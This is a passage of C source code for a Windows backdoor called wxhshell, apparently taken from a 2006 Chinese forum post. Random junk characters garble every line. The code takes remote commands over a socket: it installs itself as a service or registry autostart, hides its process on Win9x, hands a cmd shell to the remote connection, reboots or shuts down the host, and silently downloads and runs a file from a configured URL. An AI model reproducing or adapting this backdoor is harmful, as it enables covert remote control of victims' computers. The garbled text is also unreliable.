Rmmu#-{Y  
    switch(cmd[0]) { \O "`o4  
  kHhp;<  
  // 帮助 Ny7*MZ-  
  case '?': { WC<[<uI*  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); W=^.s>7G  
    break; wl]3g  
  } _"Bj`5S  
  // 安装 M#o.O?.`  
  case 'i': { nQOdM#dP  
    if(Install()) 1!(lpp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Cs>`f, o  
    else Sk 7R;A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -)(=~|,Pq/  
    break; M;<!C%K>  
    } J$yq#LBbR@  
  // 卸载 G-)e(u   
  case 'r': { K0( S%v|,}  
    if(Uninstall()) _-({MX[3k<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kQbZ!yl>[  
    else 7s6+I_n  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Ed u(dZbKg  
    break; { DP9^hg  
    } WlQCPC  
  // 显示 wxhshell 所在路径 @;OsHudd  
  case 'p': { o]&q'>Rf  
    char svExeFile[MAX_PATH]; /jJD {  
    strcpy(svExeFile,"\n\r"); *]U`]!Esp  
      strcat(svExeFile,ExeFile); `$JvWN,kB  
        send(wsh,svExeFile,strlen(svExeFile),0); /5Qh*.(S  
    break; Qb?a[[3  
    } !gW`xVGv  
  // 重启 \;N+PE  
  case 'b': { "dIWHfQB  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); @ywtL8"1~  
    if(Boot(REBOOT)) Jfr'OD2$ %  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WT,I~'r=S  
    else { bT 42G [x  
    closesocket(wsh); n',X,P0  
    ExitThread(0); {H[N|\  
    } lfDd%.:q4S  
    break; _1E c54D  
    } F_:zR,P%#  
  // 关机 @Nsn0-B?ne  
  case 'd': { (n7xYGfYS  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 8%B_nVc  
    if(Boot(SHUTDOWN)) 9R8q+2  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4!{lySW  
    else { ;iX~3[]  
    closesocket(wsh); r2\%/9uO  
    ExitThread(0); r]cq|Nv8:  
    } hOk9y=  
    break;  Rw0|q  
    } <J+Oh\8tad  
  // 获取shell rd0Fd+t/  
  case 's': { vVo'f|fW  
    CmdShell(wsh); 3?V'O6  
    closesocket(wsh); ^AU-hVj  
    ExitThread(0); trrNu  
    break; .q MxShUU  
  } &j:prc[W  
  // 退出 :'Gn?dv|  
  case 'x': { <jJ'T?,  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 05ClPT\BCr  
    CloseIt(wsh); `Z,WKus  
    break; #3 E"Ame  
    } (Z$7;OAI  
  // 离开 ]2f-oz*hU  
  case 'q': { g^A^@~M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); n+sv2Wv:  
    closesocket(wsh); K Ha,6X  
    WSACleanup(); Yf9E0po  
    exit(1); R4;1LZ8XzS  
    break; wp1O*)/q  
        } qc,EazmU  
  } xwsl$Rj  
  } XlF,_  
vaF1e:(  
  // 提示信息 fpQFNV  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); wT!?.Y)aj  
} (v?@evQ  
  } E va&/o?P|  
wry`2_c  
  return; ."dT6uE  
} OAq-(_H  
5(CInl  
// shell模块句柄 YG0/e#5  
int CmdShell(SOCKET sock) F>{bVPh VA  
{ #g$I>\O<  
STARTUPINFO si; )wjpxr  
ZeroMemory(&si,sizeof(si)); C0w_pu  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Ux',ma1JK  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ( ww4(  
PROCESS_INFORMATION ProcessInfo; KB~[nZs7  
char cmdline[]="cmd"; C {*?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); b&`~%f-  
  return 0; 19GF%+L ,  
} <$?#P#A  
sT1OAK\^  
// 自身启动模式 U3Gg:onuE  
int StartFromService(void) [\Wl~ a l  
{ moFrNcso  
typedef struct Jk}3c>^D  
{ cG0)F%?X?  
  DWORD ExitStatus; ^NU_Tp:2^  
  DWORD PebBaseAddress; \,NT5>  
  DWORD AffinityMask; ]p+KN>1e  
  DWORD BasePriority; -n"f>c_{>  
  ULONG UniqueProcessId; gHp4q!SJ7  
  ULONG InheritedFromUniqueProcessId; yx?oxDJg  
}   PROCESS_BASIC_INFORMATION; :K~@JlJd  
R-pON4D"*  
PROCNTQSIP NtQueryInformationProcess; 1d49&-N  
<FkaH8,7  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zZ-/S~l  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; aO1.9! <v  
8HLL3H0  
  HANDLE             hProcess; T$MXsq  
  PROCESS_BASIC_INFORMATION pbi; ph b ;D  
)OQm,5F1  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Oi|cTZ@A-  
  if(NULL == hInst ) return 0; 5w>TCx  
V$DB4YM1k  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); AUF[hzA  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); do^=Oq07$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); c[M4l  
JQ}4{k  
  if (!NtQueryInformationProcess) return 0; ]EF"QLNN(  
tlO=>  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [4qvQ7Y !  
  if(!hProcess) return 0; 5D/Td#T04  
;ja~Q .}4  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; oD2! [&  
;FwUUKj  
  CloseHandle(hProcess); pR0 !bgC  
_^{RtP#=  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); n>JJ Xw,,  
if(hProcess==NULL) return 0; ;/Y#ph[  
kygj" @EX  
HMODULE hMod; T@vE@D  
char procName[255]; fGj66rMGw  
unsigned long cbNeeded; Se[=$W  
[%LGiCU]  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); `@\FpV[|P  
?-&k?I  
  CloseHandle(hProcess); ?7CdJgJp  
2vUcSKG7  
if(strstr(procName,"services")) return 1; // 以服务启动 D3g5#.$,}>  
+-t&li%F  
  return 0; // 注册表启动 (Q `Ps /  
} '#A_KHD  
9BOn8p;yz  
// 主模块 p79QEIbk=  
int StartWxhshell(LPSTR lpCmdLine) (@T{ [\  
{ 5R.jhYAj  
  SOCKET wsl; Ro$*bN6p  
BOOL val=TRUE; G1X73qoHT<  
  int port=0; )qX.!&|I  
  struct sockaddr_in door; lgt&kdc%o  
&9v8  
  if(wscfg.ws_autoins) Install();  !N\_D  
cc=_KYZ1k  
port=atoi(lpCmdLine); -2laM9Ed  
}<2|6 {  
if(port<=0) port=wscfg.ws_port; #Z]Cq0=  
h3>u[cX%  
  WSADATA data; b't6ekkN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; :L:] 3L  
\A!I ln  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &>.QDO  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :O,,fJ<x.O  
  door.sin_family = AF_INET; uUBUUr  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); WM$Z?CN%KB  
  door.sin_port = htons(port); 'YN:cr,V  
n~>b}DY  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { -H\j-k  
closesocket(wsl); 9nO&d(r g  
return 1; ^|U5@u_  
} c-7Zk!LfD  
&2y9J2aA  
  if(listen(wsl,2) == INVALID_SOCKET) { dEf5x_TGm  
closesocket(wsl); ~ c~j  
return 1; P-^-~/>n  
} Lo[;{A$u  
  Wxhshell(wsl); [D?xd/G  
  WSACleanup(); %PR,TWe  
9l&G2 o   
return 0; ~h+B&F+5  
#\="^z6  
} lzFg(Ds!f  
DB jUHirK  
// 以NT服务方式启动 Q[`2? j?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) .Xxxz Wyk  
{ `N7erM  
DWORD   status = 0; &8%^o9sH  
  DWORD   specificError = 0xfffffff; Iw$T'I+4W  
w3fD6$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; JqN$B\J,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; NXOvC!<  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ym]rG 4  
  serviceStatus.dwWin32ExitCode     = 0; !"08TCc<  
  serviceStatus.dwServiceSpecificExitCode = 0; guy!/zQ>A  
  serviceStatus.dwCheckPoint       = 0; @[/!e`]+  
  serviceStatus.dwWaitHint       = 0; Vhm^<I-d  
sdewz(xskj  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v<0S@9~  
  if (hServiceStatusHandle==0) return; +tlbO?  
nu|?F\o!  
status = GetLastError(); >NpW$P{'  
  if (status!=NO_ERROR) @6U&7!  
{ u7p:6W  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2<2a3'pG  
    serviceStatus.dwCheckPoint       = 0; v!mP9c j  
    serviceStatus.dwWaitHint       = 0; phwq#AxQ   
    serviceStatus.dwWin32ExitCode     = status; X5tV Xd  
    serviceStatus.dwServiceSpecificExitCode = specificError; Df1eHa5-7  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); zcEpywNP  
    return; </fTn_{2s8  
  } <PO-S\N  
1-!|_<EW1  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; zlh\P`  
  serviceStatus.dwCheckPoint       = 0; a  ?wg~|g  
  serviceStatus.dwWaitHint       = 0; 9FT==>  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3fop.%(  
} DEv,!8  
_B]Bd@<w  
// 处理NT服务事件,比如:启动、停止 3 }rx(  
VOID WINAPI NTServiceHandler(DWORD fdwControl) #)6 bfyi-  
{ b\t@vMJ  
switch(fdwControl) .R^]<b:`  
{ $- Z/UHT  
case SERVICE_CONTROL_STOP: 38JU-aq  
  serviceStatus.dwWin32ExitCode = 0; n;dWb$:  
  serviceStatus.dwCurrentState = SERVICE_STOPPED;  q,'~=Y5  
  serviceStatus.dwCheckPoint   = 0; Dt]FmU  
  serviceStatus.dwWaitHint     = 0; Hc q@7g  
  { HOPsp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =4x-x nA  
  } Hp fTuydU  
  return; =0U"07%}  
case SERVICE_CONTROL_PAUSE: j!"NEh78H  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 5_L43-  
  break; o{ | |Ig  
case SERVICE_CONTROL_CONTINUE: MD+ eLA7  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; k#@)gL  
  break; %bnjK#o"Q  
case SERVICE_CONTROL_INTERROGATE: ;u%4K$   
  break; 3'`X_C|d53  
}; -g vS 3`lX  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); eR8>5:V_  
} K*MI8')  
z<<aT  
// 标准应用程序主函数 fli7Ow?M~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) l}Vg;"1'J  
{ 5g4c1K  
jmnrpXaAx  
// 获取操作系统版本 jRdW=/q+(  
OsIsNt=GetOsVer(); U09@pne8  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "\1V^2kMr  
yj`xOncE}  
  // 从命令行安装 C_hIPMU=  
  if(strpbrk(lpCmdLine,"iI")) Install(); 3j$,x(ua9  
VzFzVeJ  
  // 下载执行文件 dU"C=c(w\  
if(wscfg.ws_downexe) { m9m~2   
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z;i4F.p  
  WinExec(wscfg.ws_filenam,SW_HIDE); x\(yjNZH  
} TGPHjSZ1  
7o M]qLF  
if(!OsIsNt) { EY!P"u;  
// 如果时win9x,隐藏进程并且设置为注册表启动 =0mGfT c  
HideProc(); i0&] Ig|;  
StartWxhshell(lpCmdLine); $2*&\/;-E!  
} 3nkO+ qQ  
else 'P)[=+O?t  
  if(StartFromService()) ^TY8,qDA  
  // 以服务方式启动 =}4lx^`oeT  
  StartServiceCtrlDispatcher(DispatchTable); l' Z `%}R  
else mc5$-}1V,  
  // 普通方式启动 `?Xt ,  
  StartWxhshell(lpCmdLine); [$GQ]Y  
2$QuR~  
return 0; t!vlZNc  
}
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只看该作者 1 发表于: 2006-10-10
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